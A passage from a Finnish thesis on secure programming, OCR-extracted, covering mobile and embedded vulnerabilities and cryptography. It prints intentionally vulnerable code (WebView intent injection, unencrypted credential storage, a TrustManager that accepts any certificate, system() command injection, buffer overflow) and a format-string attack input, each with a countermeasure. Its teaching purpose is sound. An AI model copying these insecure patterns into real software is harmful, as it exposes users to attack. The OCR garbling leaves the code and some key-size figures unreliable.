toa voi olla esimerkiksi sellaisten kdyttooikeuksien pyytaminen sovellukselle, jotka eivat ole sen
toiminnan kannalta valttamattomia ja voivat siten avata oven hyokkayksille. Toinen erittdin ylei-
nen ongelma on Android-jarjestelman “aikomuksiin” (engl. intents) liittyva ominaisuus, joka mah-
dollistaa tiedonsiirron eri sovellusten valilla. Naiden ”aikomuksien” parametrien avulla on mahdol-
lista suorittaa injektiohyokkayksia sovelluksia vastaan. (Efimov & Onitza-Klugman 2021.) Seuraava
Java-koodi (Kuvio 12) hakee verkkosivuston koodin Androidin WebView-luokkaan, ja sallii Ja-

vaScriptin suorituksen (Efimov & Onitza-Klugman 2021).
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WebView webView = (WebView) findViewById(R.id

WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);

Intent intent = getIntent();
String url = intent.getStringExtra("url™);
webView. loadUrl{url);

Kuvio 12. Haavoittuvainen Java-koodi

Yll3 oleva koodi odottaa saavansa toiselta sovellukselta "aikomuksen” parametrina URL-osoitteen,
joka on luotettava, silla JavaScriptin suoritus URL-osoitteessa sijaitsevalle verkkosivustolle salli-
taan. Mikali hyokkaaja onnistuu esimerkiksi oman haitallisen sovelluksensa avulla injektoimaan
oman URL-osoitteen “aikomuksen” parametriksi, voi han suorittaa kdytanndssa mielivaltaisen Ja-
vaScript-koodin kohteena olevassa laitteessa, mikd taas mahdollistaa aiemmin kasitellyn XSS-
haavoittuvuuden hyédyntamisen asiakaslaitetta vastaan. Hydkkaykselta voidaan suojautua ole-
malla luottamatta “"aikomusten” parametreihin seka estamalla JavaScriptin kadytto, jollei se ole mo-

biilisovelluksen toiminnan kannalta taysin valttamatonta. (Efimov & Onitza-Klugman 2021.)

4.3 Insecure Data Storage

Turvaton datan tallennus (engl. Insecure Data Storage) tarkoittaa tilanteita, joissa arkaluontoista
dataa kuten salasanoja tai pankkitunnuksia tallennetaan suojaamatta. Esimerkiksi Android tarjoaa
tiedon tallennukseen ns. PreferenceManager-toiminnon, joka tallentaa tiedot sovelluksen kotikan-
sioon XML-muodossa, jolloin muiden sovellusten on mahdollista lukea tietoja mikali jollakin lait-
teella olevalla sovelluksella on root-tason eli yllapitdjan oikeudet. Tietojen lukeminen on mahdol-
lista my0ds ilman root-tason oikeuksia, jos hyokkaajalla on fyysisesti laite hallussaan ja
mahdollisuus yhdistaa laite tietokoneeseen. (Medium 2019) Seuraava koodi (Kuvio 13) tallentaa
kayttajatunnuksen ja salasanan salaamattomassa muodossa Androidin SharedPreferences-tallen-

nustilaan (Medium 2019).
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public voild saveCredentials({View wiew) {
Editor spedit = PreferenceManager.getDefaultSharedPreferences(this).edit(};
EditText pwd = (EditText) findViewById(R.id.idsiPwd];
spedit.putString( "user", ((EditText) findViewById(R.id.idsilUsr)).getText().toStringl));
spedit.putString( "password", pwd.getText().toStringi));
spedit.commit(];
Toast.makeText(this, "3rd party credentials saved successfully!", @).show(];

Kuvio 13. Tietojen suojaamaton tallennus

Yll3 olevan koodin ongelmana on siis salauksen puute. Android tarjoaa tiedon salaukseen seka sa-
lausavainten turvalliseen sailyttamiseen rajapinnan nimelta "KeyStore”. Kyseessa on Android-jar-
jestelmaan sisdanrakennettu sdilytystila salausavaimille. KeyStore tarjoaa sovellukselle mahdolli-
suuden salata dataa ja purkaa salaus ilman, etta muilla sovelluksilla on paasy kaytettyihin avaimiin.

(Medium n.d.) Turvallisia salausalgoritmeja kasitellaan tarkemmin viimeisessa teorialuvussa.

4.4 Insecure Communication

Mobiilisovellukset vaativat tyypillisesti toimiakseen mahdollisuuden kommunikoida palvelimen
kanssa. Yhteyden suojaamiseen kaytetdan tyypillisesti TLS-protokollaa (Transport Layer Security)
mutta toisin kuin verkkosovellusten tapauksissa, joissa vastuu TLS-varmenteen validoinnista on se-
laimella, mobiilisovellusten tapauksessa vastuu varmenteiden validoinnista on kehittajalla itsel-
Iaan. Yleisin virhe mobiilisovellusten TLS-protokollan toteutuksessa on, ettei varmenteen digitaa-
lista allekirjoitusta tarkasteta ollenkaan. Esimerkiksi Android-jarjestelmassa tama on mahdollista,
kun koodissa ylikirjoitetaan (engl. override) Androidin oma ”“TrustManager” moduuli, jonka teh-
tdva on todentaa varmenteen luotettavuus. (Hopstock 2021.) Seuraava koodi (Kuvio 14) tekee

juuri tdman (Hopstock 2021).
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val insecureTrustManager = object : X589TrustManager {
override fun checkClientTrusted(
chain: Array?,

authType: String?

override fun checkServerTrusted(
chain: Array?,

authType: String?

override fun getAcceptedIssuers() = null

Kuvio 14. Puutteellinen TLS-varmenteen todennus

Ylla oleva koodi on yleinen verkossa ehdotettu ratkaisu TLS-virheen valttamiseksi, mutta koodi ei
validoi varmennetta, joten tallaisen ratkaisun kdayttdminen on sama kuin salausta ei olisi ollenkaan.
Oikea ratkaisu on kayttaa Android-jarjestelman sisdanrakennettua TrustManager-moduulia, joka
validoi varmenteen ja heittda virheen, jos varmenteessa on ongelmia. Sovelluksen tulee reagoida
virheeseen kieltaytymalla kommunikoimasta palvelimen kanssa, jonka TLS-varmenteessa on ongel-

mia. (Hopstock 2021.)

4.5 Reverse Engineering

Tietyissa tapauksissa hyokkadjan on mahdollista selvittaa sovelluksen lahdekoodi ja muokata sita
(engl. reverse engineering). Erityisen haavoittuvaisia télle ovat sovellukset, jotka on toteutettu tul-
kattavaa ohjelmointikielta kayttaen (esim. Java, Kotlin) koska tulkattavien kielten tapauksessa
koodi kdadannetdan bindarimuotoon vasta ohjelman suorituksen aikana. Hyokkaajan on siis verrat-
tain helppo paasta lukemaan sovelluksen lahdekoodia, josta aiheutuu esimerkiksi seuraavia ris-

keja:
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e Koodiin tallennetut tunnukset, esimerkiksi tietokantapalvelimen kayttajatunnus ja salasana paljas-
tuvat.

o Hyokkadja saa tietoa sovelluksen toteutuksesta, mika helpottaa hyokkaysta sovelluksen kayttamia
palvelimia vastaan.

o Hyokkaaja voi muokata sovelluksen toimimaan laitteellaan haluamallaan tavalla

e Immateriaalioikeudet: sovelluksen ldhdekoodi on yleensa sen kehittaneen tahon bisnessalaisuus,
jonka ei haluta paljastuvan.

Edellda mainituista syista lahdekoodin kadntamista takaperin (engl. decompile) tulisi pyrkia ehkaise-
maan. Ensimmainen sdanto on, ettei asiakaspuolen laitteeseen voi luottaa, joten ldhdekoodiin ei
tule tallentaa ”salaisuuksia” kuten tietokantapalvelimen tunnuksia. (Dwarkani 2020.) Turvallisempi
ratkaisu on hoitaa tietokannan kanssa kommunikointi palvelinpuolella, ja Iahettda vastaus asiakas-
paan laitteelle, kun asiakaslaite on autentikoitu. Lahtokohtana sovelluksen arkkitehtuuria suunni-
tellessa pitaisi siis olla, ettei lahdekoodin selvittamista voi tdysin estdd. Lahdekoodin selvittamista
voidaan kuitenkin huomattavasti hankaloittaa ja hidastaa lisaamalla koodia, joka salaa sovelluksen
salaisuudet kddnnosvaiheessa ja purkaa salauksen koodin suoritusvaiheessa. Tahan tarkoitukseen
on saatavilla esimerkiksi Android Studio-kehitysymparistoon laajennus nimelta “Enigma”. (Ney
2019.) Tama ei kuitenkaan luotettavasti tee lahdekoodin selvittamista mahdottomaksi, ainoastaan
hankaloittaa sita, silla salauksen purkamiseen tarvittavat tiedot I6ytyvat kddnndsprosessissa synty-
neesta APK-tiedostosta. Varmin ratkaisu on siis suunnitella sovelluksen arkkitehtuuri ja toiminta-
periaate kokonaisuudessaan sellaiseksi, ettei lahdekoodin paljastumisesta aiheudu merkittdavaa

haittaa.
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5 Sulautettujen jarjestelmien haavoittuvuuksista

5.1 Sulautetun jarjestelman maaritelma

Sulautettu jarjestelma (engl. embedded system) on tiettyyn tarkoitukseen valmistettu mekaaninen
tai sahkoinen laite, jota ohjaa tietokone. Sulautettuja jarjestelmia ovat nykypaivana esimerkiksi ko-
dinkoneet, autot ja erilaiset tydkoneet. Olennaisin ero sulautetun jarjestelman ja esimerkiksi mo-
biililaitteen valilla on, etta sulautetun jarjestelman fyysiset komponentit (engl. hardware) on suun-
niteltu yksilolliseen kayttotarkoitukseen, johon esimerkiksi toisenlainen sulautettu jarjestelma ei
sovi. (Ashely 2021.) Sulautettujen jarjestelmien ohjelmointi on usein hyvin laiteldheista eli ns. ma-
talan tason ohjelmointia. Tietoturvan nakokulmasta tama johtaa laiteldheisiin haavoittuvuuksiin,
joita harvemmin nahdaan muunlaisissa ohjelmistoissa. Matalan tason ohjelmointikielet kuten C ja
C++ sallivat esimerkiksi manuaalisen muistinhallinnan, mika aiheuttaa tietynlaisia riskeja. Tassa

paaluvussa keskitytdan siis erityisesti laiteldheisissa ohjelmistoissa esiintyviin haavoittuvuuksiin.

5.2 Buffer Overflow

Puskurin ylivuotovirhe (engl. buffer overflow) aiheutuu kun ohjelma saa syotteen, joka on liian
suuri syotteelle varatulle muistialueelle, jolloin ylimeneva osa kirjoitetaan toiselle muistialueelle.
Kaannettaville ohjelmointikielille, kuten C ja C++, on tyypillista, ettd esimerkiksi muuttujien arvojen
maksimipituus maaritelldan ldahdekoodissa. Tama mahdollistaa virhetilanteen, jossa annettu arvo
onkin odotettua arvoa suurempi kooltaan, eli vie enemman muistitilaa. Puskurin ylivuotovirhe voi-
daan aiheuttaa myo6s kuluttamalla koko ohjelmalle varattu muisti loppuun, mutta taman tyyppiset
hyokkaykset ovat vaikeampia toteuttaa ja siksi harvinaisempia. Puskurin ylivuotovirhe voi aiheut-
taa ohjelman kaatumisen tai joissakin tapauksissa hyokkadajan koodin suorittamisen. (Sharan
2021.) Ohjelman kaatamisen tavoitteena on usein joko palvelun toiminnan hairitseminen eli palve-
lunestohyokkays, tai ohjelmakoodin suoritusjarjestyksen muuttaminen, joka aiheutuu, kun tietty
komponentti kaatuu. Ohjelmointikielet kdyttavat muistialueiden osoitteina ns. osoittimia (engl.
pointers). Esimerkiksi kun luokasta luodaan objekti ja kyseinen objekti annetaan parametrina funk-
tiolle, funktio saa parametrina osoittimen, joka osoittaa muistialueeseen, johon objekti on kirjoi-
tettu. Jos ohjelmalle syotteeksi annettava arvo on riittavan suuri, voi tdma aiheuttaa osoittimen
ylikirjoituksen annetulla arvolla, jolloin hyokkaajan on mahdollista saada ohjelma suorittamaan
hyokkaajan koodi. (Sharan 2021.) Seuraava koodi (Kuvio 15) on haavoittuvainen hyokkayksille,

jotka hyodyntavat puskurin ylivuotoa (Kaczanowski 2021).
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int main

bufferdoverflow

bufferOvertlow
char textLine[19

return @

Kuvio 15. Puskurin ylivuotovirheelle haavoittuvainen koodi

YIld oleva koodi alustaa merkkijonomuuttujan “textLine” ja varaa muuttujalle muistitilaa kymme-
nen merkin verran. Taman jalkeen kayttadjalta otetaan syotteena merkkijono ja tallennetaan se

muuttujaan. Jos annettu syote on liian pitka, aiheuttaa tama puskurin ylivuotovirheen, mika puo-
lestaan aiheuttaa ohjelman kaatumisen. Puskurin ylivuotovirhetta voidaan torjua mm. seuraavilla

menetelmilla (Kaczanowski 2021).

e Kayttamalla kadannettavan ohjelmointikielen sijaan tulkattavaa ohjelmointikieltd, jolloin muistinhal-
linta hoidetaan automaattisesti.

e Tarkastamalla syotteen pituus ennen sen tallentamista muuttujaan, ohjelmointikielissa on myds
valmiita funktioita tata varten.

5.3 Command Injection

Yleisimmat injektiohyOkkdykset sulautettuja jarjestelmia vastaan ovat laiteohjelmistoon (engl.
firmware) kohdistuvat komentoinjektiot. Komentoinjektioissa hyokkaaja pyrkii suorittamaan ko-
mentoja laiteohjelmiston komentorivilla. Tama on mahdollista tilanteissa, joissa ohjelma ottaa vas-
taan syotettd, jota on tarkoitus kayttaa parametrina komentorivilla suoritettavassa komennossa.
Jos esimerkiksi kdyttajalta saatava syote on tarkoitus tallentaa tekstitiedostoon komentorivin
kautta, ja syotteen validointi laiminlyddaan, on hydkkaadjan mahdollista antaa odotetun syotteen
liséksi myos omia komentojaan, jotka suoritetaan komentorivilld. (Guzman & Gupta, 2020.) Peri-
aate on siis osittain sama kuin aiemmin kasitellyissa SQL injektioissa. Esimerkiksi seuraava koodi

(Kuvio 16) on haavoittuvainen komentoinjektioille (Imperva n.d.).
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int main{char* argc, char®* argv)

char cmd[CMD MAX] = "/usr/bin/cat

strcat(cmd, argv[1]);

system(cmd) ;

Kuvio 16. Komentoinjektiolle haavoittuvainen koodi

Yll3 oleva koodi odottaa saavansa tiedoston nimen parametrina, mutta koska syotteeseen luote-
taan eika validointia suoriteta, on hyékkaajan mahdollista antaa Linux-komentorivin komento
osana syotettd, jolloin komento suoritetaan ohjelman oikeuksilla Linux-komentorivilla. Komentoin-
jektioita voidaan torjua mm. valttamalla kayttajan antaman sy6tteen kayttamista suoraan jarjes-
telmakomentojen parametrina. Turvallisempi ratkaisu on kdyttaa ohjelmointikielen tarjoamia

funktioita mm. tiedostojen lukemiseen ja tiedostoihin kirjoittamiseen. (Dizdar 2021.)

5.4 Format String Attack

Ohjelmointikielissa muuttujan arvon tulostaminen osana muuta tekstia vaatii usein, etta muuttu-
jan nimen eteen on lisattava lyhyt merkkijono (engl. format string) joka kertoo kyseessa olevan
muuttuja, jonka arvo halutaan liittaa tulosteeseen. Tama ei kuitenkaan ole C-kielessa vaadittua,
mika mahdollistaa injektiohyokkayksen tulostusfunktiota vastaan tilanteissa, joissa kayttdjan anta-
malle syotteelle ei suoriteta validointia. Tall6in hy6kkaaja voi itse antaa ohjelmalle vaaditun merk-
kijonon, jolloin aiheutuu tilanne, jossa vaadittu merkkijono toistuu tulostusfunktiolle annetussa
syOtteessa useita kertoja, jolloin tulostusfunktio tulostaa tietokoneen muistissa olevasta ”“pinosta”
(engl. stack) merkkijonojen maaraa vastaavan maaran arvoja, jotka voivat olla esimerkiksi muiden

muuttujien arvoja tai muiden funktioiden palauttamia arvoja. Toisin sanoen haavoittuvuus antaa
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hyokkaajalle mahdollisuuden lukea ohjelmaa suorittavan tietokoneen muistia. (Dahan 2021.) Esi-
merkiksi seuraavaa syotetta (Kuvio 17) voidaan kdyttaa haavoittuvuuden hyédyntamiseen (Dahan

2021).

[eaTy LT3

Hx M Ex Bx BxAn™

Kuvio 17. Format String-hydkkaykseen soveltuva sytte

Ylld olevan syotteen antaminen C-kielen printf()-tulostusfunktiolle ilman muita parametreja ai-
heuttaa viiden ensimmaisen arvon tulostamisen nykyisesta pinosta, eli hyokkaaja paasee kasiksi
tietokoneen muistissa oleviin arvoihin. Format String-hydkkaysta voidaan torjua antamalla tulos-
tettavan datan tyyppi tulostusfunktiolle sy6tteesta erillisena parametrina, jolloin sybtteen sisalta-

mia merkkijonoja ei tulkita osaksi koodia. (Dahan 2021.)
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6 Kryptografia

6.1 Kryptografian maaritelma

Kryptografia tai kryptologia (engl. cryptography) on matemaattinen tieteenala, joka pyrkii suojaa-
maan tiedon luottamuksellisuutta ja eheyttd muuntamalla alkuperdinen tieto (engl. plaintext)
muotoon, jossa luvattomat osapuolet eivat voi muokata tai lukea tietoa (engl. ciphertext). Tallaista
tiedonkasittelya kutsutaan tiedon salaukseksi. Salauksen merkitys tietoturvan kannalta on suuri.
Esimerkiksi langatonta signaalia hyddyntavien laitteiden kuten matkapuhelinten ja lahiverkkojen
viestiliikennetta ei ole kaytanndssa mahdollista estda paatymasta hyokkaajan haltuun, silla langa-
tonta signaalia voi vastaanottaa kuka tahansa, mutta tieto voidaan tehda lukukelvottomaksi luvat-
tomalle taholle tehokkaan salauksen avulla. Toinen yleinen kayttotarkoitus modernille salaukselle
on digitaalinen allekirjoittaminen, eli tiedon eheyden suojaaminen salauksen avulla. Kehittajan
kannalta erilaisten salausten heikkouksien ja vahvuuksien tunteminen on tarkeaa, jotta naita tie-

toja voidaan soveltaa ohjelmistojen kehitysprosessissa.

Salaukseen on kehitetty erilaisia algoritmeja. Yhtena maailman ensimmaisista salausmenetelmista
pidetdan Julius Caesarin salakirjoitusta, jossa salattavan tiedon jokaista kirjainta yksinkertaisesti
siirretaan aakkosjarjestyksessa tietty maara, ja salauksen purkaminen onnistuu tekemalla sama
toisinpain. Salauksena tama on kuitenkin heikko, silla avainvaihtoehtoja on vain saman verran kuin
aakkosissa kirjaimia, joten kun algoritmi on selvilld, on salauksen murtaminen helppoa. Modernit,
vahvat salaukset eivat perustu algoritmin salaisuuteen vaan matemaattisiin ongelmiin, joiden rat-
kaiseminen on vaikeaa ja aikaa vievaa, vaikka algoritmin toiminta onkin hyokkaajan tiedossa. Tie-
toturvan nakdkulmasta tallaisten vahvojen salauksien olemassaolo on darimmaisen tarkeas, silla
hyokkaajaa on usein mahdoton estaa saamasta haltuunsa siirrettavaa dataa, mutta data voidaan
vahvoilla salauksilla tehda lukukelvottomaksi hyokkaajalle. (Fruhlinger 2020.) Tassa luvussa kay-

daan lapi yleisimmat salausmenetelmat seka niiden kaytannon sovellukset tietotekniikassa.

6.2 Symmetriset salaukset

Symmetriselld salauksella tarkoitetaan salausta, jossa samaa avainta voidaan kayttaa seka tiedon
salaamiseen etta salauksen purkamiseen. Epasymmetrisiin salauksiin verrattuna symmetriset sa-
laukset ovat yleensa nopeampia laskea ja sama vahvuus voidaan saavuttaa lyhyemmilla avaimilla.

TLS-protokolla kayttaa symmetrista salausta siirrettdavan tiedon salaamiseen, ja epasymmetrista
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salausta avaimenvaihtoon. Symmetriset salaukset jaetaan yleensa kahteen kategoriaan. (Smirnoff

& Turner 2019.)

e Lohkosalaukset: salattava data jaetaan lohkoihin ennen salausta ja tieto salataan sekoitta-
malla lohkot. Data sailyy tietokoneen muistissa, kunnes salausoperaatio on valmis.
e Suoratoistosalaukset: data salataan bitti (tai tavu) kerrallaan reaaliajassa.

Yleisin kdytossa oleva symmetrinen salausmenetelma on AES-salaus (Advanced Encryption Stan-
dard), jota pidetdaan myos yhtena vahvimmista. AES-salauksen murtaminen ns. brute force-mene-
telmalla eli kokeilemalla lapi kaikki mahdolliset avainvaihtoehdot on laskettu kestavan jopa 36 000
triljoonaa vuotta. AES-salaus on lohkosalausmenetelma, joka perustuu 16 tavun kokoisten lohko-
jen muodostamiseen ja niiden sisdllon sekoittamiseen, joka toistetaan joko 10, 12 tai 14 kertaa
rilppuen avaimen pituudesta. AES-salausta suositellaan kaytettavaksi aina kun mahdollista tilan-
teissa, joissa tarvitaan symmetrista salausta, kuten TLS-protokollan sessioavaimena. (Rimkiene

2020).

6.3 Lohkosalausten kayttotilat

Lohkosalauksen toiminnan edellytyksena on, etta salattava tieto voidaan jakaa lohkoihin. Kuten
edellisessa luvussa mainittiin, AES-salauksen lohko on kooltaan 16 tavua, mutta ldheskaan aina sa-
lattava tieto ei ole jaettavissa 16 tavun pituisiin lohkoihin, joten viimeinen lohko, joka jaa pituudel-
taan vajaaksi, tulee kasitella erityisellad tavalla. Naitd menetelmia on useita ja niitd kutsutaan loh-
kosalauksen kayttotiloiksi (engl. block cipher modes of operation). Yleisimpia kadyttotiloja AES-

salaukselle ovat seuraavat (Almuhammadi & Al-Hejri, 2017).

e Cipher Block Chaining (CBC)
e Electronic Code Book (ECB)
e Cipher FeedBack (CFB)

e Qutput FeedBack (OFB)

e Counter (CTR)
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Kayttotilan valinnalla on merkittava vaikutus lohkosalauksen turvallisuudelle. YIld mainituista esi-
merkeista helpoin toteuttaa on ECB, kayttotila, jossa jokainen lohko salataan erikseen riippumatta
muista lohkoista. Tdma on kuitenkin salauksen vahvuuden nakdkulmasta erittdin huono ratkaisu,
silld kaksi identtista lohkoa salattavaa tietoa tuottaa kaksi identtista lohkoa salattua tietoa, mika
mahdollistaa esimerkiksi frekvenssianalyysin, jossa hyokkaaja voi paatelld osan viestin sisallosta
mittaamalla eri lohkojen esiintyvyytta salatussa viestissa. Turvallisempi kayttotila on CBC, jossa
edellinen salattu lohko lisdtaan osaksi seuraavaa lohkoa ennen salausta. Tallgin tilannetta, jossa
kaksi identtista salaamatonta lohkoa tuottavat kaksi identtista salattua lohkoa, ei tapahdu. Koska
ensimmaiselld lohkolla ei ole edellistd lohkoa, kaytetdaan salauksessa alustusvektoria (engl. intiali-

zation vector) joka on satunnaisluku. (AlImuhammadi & Al-Hejri, 2017.)

6.4 Epasymmetriset salaukset

Epasymmetrisella salauksella tarkoitetaan salausta, jossa salausavaimia on kaksi: julkinen avain
(engl. public key) ja yksityinen avain (engl. private key). Avaimet ovat matemaattisesti toistensa
vastakappaleita, eli julkisella avaimella salatun tiedon voi purkaa ainoastaan sita vastaavalla yksi-
tyiselld avaimella, ja sama toisinpdin. Epasymmetrisia salauksia kutsutaan myos julkisen avaimen
salausmenetelmiksi. Julkisen avaimen salausmenetelmia tarvitaan esimerkiksi tilanteissa, joissa
salattu viestinta halutaan mahdollistaa ilman ennalta jaettua salaisuutta. Esimerkiksi TLS-
protokolla hyodyntdaa epasymmetrista salausta avaimen vaihdossa. Kayttdjan selain luo symmetri-
sen salausavaimen (ns. sessioavaimen) joka vuorostaan salataan julkisella avaimella, jolloin salauk-
sen voi purkaa ainoastaan yksityisen avaimen haltija, eli tdssa tapauksessa palvelin. Tata kutsutaan
Diffie-Hellman avaimenvaihtomenetelmaksi. Yleisimmat kaytossa olevat epasymmetriset salausal-
goritmit ovat RSA ja elliptiset kdyrat (engl. ECC, Elliptic Curve Cryptography). RSA perustuu erittdin
suurten alkulukujen tulon tekijoéihin jakamisen vaikeuteen. Alkuluvulla tarkoitetaan lukua, joka on
jaollinen vain itselldadn ja numerolla yksi. Elliptisten kayrien salausmenetelmat perustuvat ns. ellip-
tisen kayran diskreetin logaritmin ongelmaan, jonka mukaan alkupisteen ja loppupisteen tietami-
nen ei riitd selvittdmaan, montako kertaa alkupiste on kerrottu itsellddan (engl. point multiplica-
tion). Molempia salausmenetelmia pidetaadn oikein toteutettuna murtamattomina, mutta RSA:n

tiedetaan vaativan pidemman avaimen kayttamista saman turvallisuustason saavuttamiseksi kuin
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elliptisten kayrien tapauksessa. Esimerkiksi 228-bittiselld avaimella toteutettu elliptisen kdyran sa-
laus vastaa vahvuudeltaan noin 2380-bittistd RSA-avainta, mutta on silti nopeampi kayttaa. Tasta
syysta elliptisiin kdyriin perustuvia salausmenetelmia suositellaan kaytettavaksi aina kun mahdol-
lista tilanteissa, joissa tarvitaan epasymmetrista salausta. Tallaisia ovat esimerkiksi ECDH (Elliptic
Curve Diffie-Hellman) avaimenvaihtoon ja ECDSA (Elliptic Curve Digital Signature Algorithm) digi-

taaliseen allekirjoittamiseen. (Nick Sullivan 2013.)

6.5 Tiivistefunktiot

Tiivistefunktiolla tarkoitetaan algoritmia, joka ottaa syotteena mita tahansa pituutta olevan tiedon
ja muuntaa sen tiettya pituutta olevaksi tiivisteeksi. Kyseessa on eraanlainen salausmenetelma,
mutta olennaisin ero symmetrisiin ja epasymmetrisiin salauksiin on, ettei salausavainta ole eika
salausta voi purkaa. Tiivistefunktio palauttaa kuitenkin aina saman tulosteen samalla syotteell3,
joten funktiota voidaan kayttaa tiedon eheyden suojaamiseen seka tarkastaa, onko alkuperdinen
tieto esimerkiksi sisdankirjautumista yrittavan kayttajan hallussa. Yleisesti suositeltu menetelma
salasanojen tallentamiseen tietokantaan on tallentaa salasanat tiivistemuodossa, ja kayttajan yrit-
tdessa sisaankirjautumista, kayttdjan antamasta salasanasta lasketaan tiiviste samalla funktiolla, ja
verrataan tata tulostetta tietokannassa olevaan tiivisteeseen. Mikali tiivisteet ovat identtiset, on
oikea salasana kayttdjan tiedossa. Tasta syysta tiivistefunktioita kutsutaan usein myos tarkastus-
summafunktioiksi. Jos tiiviste kuitenkin vuotaa tietokannasta hydkkaajalle, ei hyokkaaja saa salasa-
naa selville muutoin kuin laskemalla itse tiivisteen jokaisesta mahdollisesta salasanakombinaa-
tiosta, tai yrittamalla sanakirjahyokkadysta. Ohjelmoija voi my6s hankaloittaa tiivisteen murtamista
lisaamalla tiivisteen loppuun satunnaisen merkkijonon eli ”suolan”, jolloin hyokk&daja ei saa samaa
tulostetta, vaikka oikea salasana |6ytyisi hdanen sanakirjastaan. Toinen kadyttotarkoitus tiivistefunk-
tioille on tiedon eheyden tarkastus. Esimerkiksi ladattavan tiedoston julkaisun yhteydessa voidaan
julkaista myds tiedoston "tarkastussumma” eli tiivistefunktion tuloste, jonka avulla kayttaja voi
omalla laitteellaan tarkastaa tiedoston eheyden laskemalla itse tiivisteen saamastaan tiedostosta.
Tiivistefunktiota pidetaan turvallisena, jos “tormayksen” (engl. hash collision) tuottaminen funk-
tiota vastaan on kaytdnnossa mahdotonta. Tormayksella tarkoitetaan tilannetta, jossa kahdella tai
useammalla erilaisella syotteelld on mahdollista saada aikaan sama tuloste. Turvallisia tiivistefunk-
tioita, joita vastaan ei ole vield pystytty tuottamaan térmaystd, ovat esimerkiksi seuraavat (Crane

2021.)
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e SHA-2 perheen funktiot (SHA-224, SHA-256, SHA-384 ja SHA-512)
e SHA-3 perheen funktiot (SHA3-224, SHA3-256, SHA3-384 ja SHA3-512)

6.6 Sivukanavahyokkaykset

Vaikka modernin kryptografian aikana tunnetaan useita salausalgoritmeja, joiden murtaminen pe-
rinteisin menetelmin on kdytannossa mahdotonta, patee tama ainoastaan silla oletuksella, etta
my0s itse toteutus on virheetdn. Salausalgoritmin teoreettista vahvuutta arvioitaessa ei yleensa
oteta huomioon yksittdisen toteutuksen heikkouksia, kuten tietojen vuotamista. Sivukanavahyok-
kayksessa pyritdaan tarkkailemaan salausalgoritmia kayttavan laitteen tai ohjelmiston toimintaa ja
tekemaan tasta johtopaatoksida. Tama edellyttda yleensa fyysista paasya laitteeseen, mika tekee
sivukanavahyokkayksista uhan paadasiassa sulautetuille jarjestelmille ja mobiililaitteille. Tyypillisia

esimerkkeja sivukanavahyokkayksista ovat:

e Ajastushyokkaykset, joissa mitataan ohjelman suoritusaikaa

e Virrankdyttdanalyysit, joissa mitataan laitteen virran kadyttoa

e Elektromagneettiset hyokkaykset, joissa tarkkaillaan laitteen vuotamaa sahkdmagneettista
sateilya

Huomattavaa kaikissa ylla mainituissa hyokkaysmenetelmissa on, etta hyokkayksen kohde on algo-
ritmin toteutus eika itse algoritmi, ja hyokkaykset perustuvat systeemin tarkkailuun. Sivukana-
vahyokkayksia on sovellettu useisiin salausmenetelmiin, mutta erityisen haavoittuvaiseksi tunne-
taan aiemmin mainittu ECDSA, silla salauksessa kdytetyn satunnaisluvun (engl. cryptographic
nonce) paljastuminen johtaa yksityisen avaimen paljastumiseen. Taman lisdksi yksityistd avainta
kaytetaan salausprosessissa bitti kerrallaan, jolloin virrankulutusta tarkkailemalla on mahdollista
paatelld, onko kasiteltdva bitti nolla vai ykkonen, ja ndin on mahdollista paatelld myos koko avain.
Bitin arvo voidaan myos paatelld ohjelman suoritusajasta tai jopa laitteen sahkémagneettisesta
sateilysta, joskin taman tyyppiset hyokkaykset ovat usein hankalia ja kalliita toteuttaa. Sivukana-
vahyokkayksid voidaan torjua estamalla tietojen vuotaminen siten, ettd jokainen laskentaoperaa-
tio vaikuttaa hyokkaajan nakokulmasta samanlaiselta. Tama voidaan tehda esimerkiksi lisdamalla
ylimaaraisia laskentaoperaatioita ohjelman suoritukseen siten, etta virrankaytto ja suoritusaika

erilaisten operaatioiden valilld tasapainottuu. (Houssain, Somani & Tawalbeh 2017.)
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7 Tulokset

Tutkimuksen tuloksena on syntynyt kattava luettelo haavoittuvuuksista ja niihin soveltuvista vasta-
toimista, mika vastaa alussa esiteltyyn tutkimuskysymykseen. Vaikka kaikkia ohjelmointivirheita ja
tietoturvaongelmia ei ole mahdollista koota yhteen tutkimukseen, on tuloksena syntynyt konstruk-
tio varsin kattava ratkaisu tutkimuskysymyksessa esitettyyn ongelmaan, silla se auttaa lukijaa ajat-
telemaan tietoturvallisesti, eika keskity ainoastaan johonkin tiettyyn haavoittuvuuteen tai tekniik-
kaan. Kaikki yleisimmat haavoittuvuudet ja tietoturvaongelmiin johtavat ohjelmointivirheet seka
niiden torjuntamenetelmat on kayty lapi. Tuloksena syntynyt tietoperusta antaa vahvan pohjan

tietoturvaosaamisen kehittamiseen itsenaisesti seka tietoturvalliseen ohjelmointiin.

Tutkimuskysymyksena oli selvittda mitka asiat on otettava huomioon turvallisten ohjelmistojen ke-
hitysprosessissa. Kysymykseen vastattiin kokoamalla mahdollisimman paljon ajankohtaista tietoa
erilaisista haavoittuvuuksista ja ohjelmointikdaytannoistd, joilla naita haavoittuvuuksia voidaan tor-
jua ja siten nostaa kokonaisturvallisuuden tasoa. Tutkimuksen tuloksena on siis syntynyt tietopa-
ketti, joka kattaa mm. OWASP:in ajankohtaisimmaksi maarittelemat haavoittuvuudet niin verkko-
sovellusten, mobiilisovellusten kuin myds sulautettujen jarjestelmien osa-alueilla. Tutkimuksen
alussa asetettiin tavoitteeksi, etta lahteina kaytettaisiin ainoastaan asiantuntijoiden ja asiantunti-
jaorganisaatioiden julkaisemaa tietoa, ja tassa onnistuttiin verrattain hyvin. Aiheet valittiin kehitta-
jayhteiséjen (mm. OWASP) ajankohtaisimpien keskustelunaiheiden perusteella. Ndma seikat huo-

mioon ottaen on tyon tuloksia kokonaisuutena arvioiden pidettdva luotettavina.

Ty6n uutuusarvo verrattuna aiempiin tutkimuksiin korostuu siina, etteivat useimmat tutkimukset
tarjoa monipuolista katsausta ohjelmistokehittdjan tyon kannalta olennaisiin asioihin, vaan keskit-
tyvat usein johonkin tiettyyn haavoittuvuuteen. Toisin sanoen tyon tarkoitus oli kerata olennaisia
asioita yhteen ja pyrkia selittdmaan ne ymmarrettavasti. Tutkimusmetodologiaksi valittiin kon-
struktiivinen tutkimus, joka on yksi kdytetyimmista kvalitatiivisen tutkimuksen osa-alueista tieto-
jenkasittelytieteessa, ja lopputulosta kokonaisuutena arvioiden tutkimusmetodologian valinta on-
nistui hyvin. Mahdollisia puutteita tydssa ovat esimerkiksi pilvipalveluiden haavoittuvuuksien
